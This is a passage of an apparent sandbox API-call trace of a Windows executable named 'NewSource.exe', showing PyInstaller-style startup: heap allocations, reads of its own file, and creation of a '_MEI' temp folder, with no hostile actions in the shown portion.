RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x90) returned 0x5487b0 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x542110 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x30) returned 0x53f8b8 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x36) returned 0x53e490 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x48) returned 0x53fc30 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x52) returned 0x53fc80 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3c) returned 0x5455b0 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xd6) returned 0x53f460 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2e) returned 0x53f928 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1e) returned 0x53ad90 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2c) returned 0x53f960 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x50) returned 0x53fa40 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4e) returned 0x53fa98 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x542170 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x42) returned 0x536f88 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x20) returned 0x53adb8 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x38) returned 0x53faf0 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x542020 [0034.315] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54af70 | out: hHeap=0x530000) returned 1 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x800) returned 0x54a498 [0034.315] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0034.315] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xd581c9) returned 0x0 [0034.315] GetStartupInfoW (in: lpStartupInfo=0x4ffeb8 | out: lpStartupInfo=0x4ffeb8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x8) returned 0x543ce8 [0034.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0034.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x42) returned 0x536fd8 [0034.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", cchWideChar=-1, lpMultiByteStr=0x536fd8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpUsedDefaultChar=0x0) returned 65 [0034.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4078) returned 0x54bbd8 [0034.316] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4faeb4, nSize=0x1000 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe")) returned 0x40 [0034.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", cchWideChar=-1, lpMultiByteStr=0x4fded4, cbMultiByte=4096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpUsedDefaultChar=0x0) returned 65 [0034.316] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0034.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x16) returned 0x5439c8 [0034.316] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x5439c8, cchWideChar=10 | out: lpWideCharStr="_MEIPASS2") returned 10 [0034.317] GetEnvironmentVariableW (in: lpName="_MEIPASS2", lpBuffer=0x4f8ea0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0034.317] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x16) returned 0x543b68 [0034.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd705cc, cbMultiByte=-1, lpWideCharStr=0x543b68, cchWideChar=10 | out: lpWideCharStr="_MEIPASS2") returned 10 [0034.317] SetEnvironmentVariableW (lpName="_MEIPASS2", lpValue=0x0) returned 1 [0034.317] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x543b68 | out: hHeap=0x530000) returned 1 [0034.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc8c, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc78, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.317] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x38) returned 0x537028 [0034.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcb30, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.317] GetFileType (hFile=0x10c) returned 0x1 [0034.317] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcde0 | out: lpNewFilePointer=0x0) returned 1 [0034.317] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x54fc58 [0034.317] ReadFile (in: hFile=0x10c, lpBuffer=0x54fc58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd5c, lpOverlapped=0x0 | out: lpBuffer=0x54fc58*, lpNumberOfBytesRead=0x4fcd5c*=0x1000, lpOverlapped=0x0) returned 1 [0034.317] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcdc0 | out: lpNewFilePointer=0x0) returned 1 [0034.318] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcda4 | out: lpNewFilePointer=0x0) returned 1 [0034.318] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcdc0 | out: lpNewFilePointer=0x0) returned 1 [0034.318] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcdf0 | out: lpNewFilePointer=0x0) returned 1 [0034.318] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcda0 | out: lpNewFilePointer=0x0) returned 1 [0034.318] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd54 | out: lpNewFilePointer=0x0) returned 1 [0034.318] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x88cff5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.318] ReadFile (in: hFile=0x10c, lpBuffer=0x54fc58, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x54fc58*, lpNumberOfBytesRead=0x4fccfc*=0x60, lpOverlapped=0x0) returned 1 [0034.319] htonl (hostlong=0x55208400) returned 0x842055 [0034.319] htonl (hostlong=0x1b000000) returned 0x1b [0034.319] htonl (hostlong=0xfd698300) returned 0x8369fd [0034.319] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcdd0 | out: lpNewFilePointer=0x0) returned 1 [0034.319] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x8819fd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcdf0 | out: lpNewFilePointer=0x0) returned 1 [0034.319] htonl (hostlong=0xb60000) returned 0xb600 [0034.319] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb600) returned 0x550c60 [0034.319] htonl (hostlong=0xb60000) returned 0xb600 [0034.319] ReadFile (in: hFile=0x10c, lpBuffer=0x550c60, nNumberOfBytesToRead=0xb600, lpNumberOfBytesRead=0x4fcdd4, lpOverlapped=0x0 | out: lpBuffer=0x550c60*, lpNumberOfBytesRead=0x4fcdd4*=0xb600, lpOverlapped=0x0) returned 1 [0034.320] htonl (hostlong=0xb60000) returned 0xb600 [0034.320] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54fc58 | out: hHeap=0x530000) returned 1 [0034.320] CloseHandle (hObject=0x10c) returned 1 [0034.320] htonl (hostlong=0x20000000) returned 0x20 [0034.320] htonl (hostlong=0x30000000) returned 0x30 [0034.320] htonl (hostlong=0x30000000) returned 0x30 [0034.320] htonl (hostlong=0x30000000) returned 0x30 [0034.320] htonl (hostlong=0x30000000) returned 0x30 [0034.320] htonl (hostlong=0x30000000) returned 0x30 [0034.320] htonl (hostlong=0x30000000) returned 0x30 [0034.321] htonl (hostlong=0x20000000) returned 0x20 [0034.321] htonl (hostlong=0x20000000) returned 0x20 [0034.321] htonl (hostlong=0x30000000) returned 0x30 [0034.321] htonl (hostlong=0x30000000) returned 0x30 [0034.321] htonl (hostlong=0x30000000) returned 0x30 [0034.321] htonl (hostlong=0x30000000) returned 0x30 [0034.321] htonl (hostlong=0x30000000) returned 0x30 [0034.321] htonl (hostlong=0x30000000) returned 0x30 [0034.321] htonl (hostlong=0x20000000) returned 0x20 [0034.321] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.321] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.321] GetFileType (hFile=0x10c) returned 0x1 [0034.321] htonl (hostlong=0x62500000) returned 0x5062 [0034.321] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x50062, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.321] htonl (hostlong=0x20c0000) returned 0xc02 [0034.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc02) returned 0x55c268 [0034.321] htonl (hostlong=0x20c0000) returned 0xc02 [0034.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x54fc58 [0034.321] ReadFile (in: hFile=0x10c, lpBuffer=0x54fc58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x54fc58*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.321] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a00) returned 0x55ce78 [0034.322] htonl (hostlong=0x20c0000) returned 0xc02 [0034.322] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.322] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x55e880 [0034.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e880 | out: hHeap=0x530000) returned 1 [0034.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55c268 | out: hHeap=0x530000) returned 1 [0034.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54fc58 | out: hHeap=0x530000) returned 1 [0034.322] CloseHandle (hObject=0x10c) returned 1 [0034.322] htonl (hostlong=0x20000000) returned 0x20 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x20000000) returned 0x20 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x40000000) returned 0x40 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.322] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x40000000) returned 0x40 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x50000000) returned 0x50 [0034.323] htonl (hostlong=0x30000000) returned 0x30 [0034.323] htonl (hostlong=0x20000000) returned 0x20 [0034.324] htonl (hostlong=0x20000000) returned 0x20 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.324] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x20000000) returned 0x20 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.325] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.326] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] htonl (hostlong=0x30000000) returned 0x30 [0034.327] GetTempPathW (in: nBufferLength=0x1000, lpBuffer=0x4fae14 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0034.327] GetCurrentProcessId () returned 0x4a0 [0034.327] GetLastError () returned 0x0 [0034.327] SetLastError (dwErrCode=0x0) [0034.327] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x46) returned 0x53f208 [0034.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x4f9d40 | out: lpFileInformation=0x4f9d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd851e19c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xd851e19c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0034.327] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x6c) returned 0x53f258 [0034.327] GetLastError () returned 0x0 [0034.327] SetLastError (dwErrCode=0x0) [0034.327] GetLastError () returned 0x0 [0034.327] SetLastError (dwErrCode=0x0) [0034.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842"), fInfoLevelId=0x0, lpFileInformation=0x4f9d1c | out: lpFileInformation=0x4f9d1c*(dwFileAttributes=0x74f870c0, ftCreationTime.dwLowDateTime=0x4f9d34, ftCreationTime.dwHighDateTime=0xd63750, ftLastAccessTime.dwLowDateTime=0x5, ftLastAccessTime.dwHighDateTime=0x6741b4f, ftLastWriteTime.dwLowDateTime=0xabf2e618, ftLastWriteTime.dwHighDateTime=0x4f9d80, nFileSizeHigh=0xd64448, nFileSizeLow=0x0)) returned 0 [0034.328] GetLastError () returned 0x2 [0034.328] GetLastError () returned 0x2 [0034.328] SetLastError (dwErrCode=0x2) [0034.328] GetLastError () returned 0x2 [0034.328] SetLastError (dwErrCode=0x2) [0034.328] GetLastError () returned 0x2 [0034.328] SetLastError (dwErrCode=0x2) [0034.328] GetLastError () returned 0x2 [0034.328] SetLastError (dwErrCode=0x2) [0034.328] GetLastError () returned 0x2 [0034.328] SetLastError (dwErrCode=0x2) [0034.328] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x53f208 | out: hHeap=0x530000) returned 1 [0034.328] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842"), lpSecurityAttributes=0x0) returned 1 [0034.330] 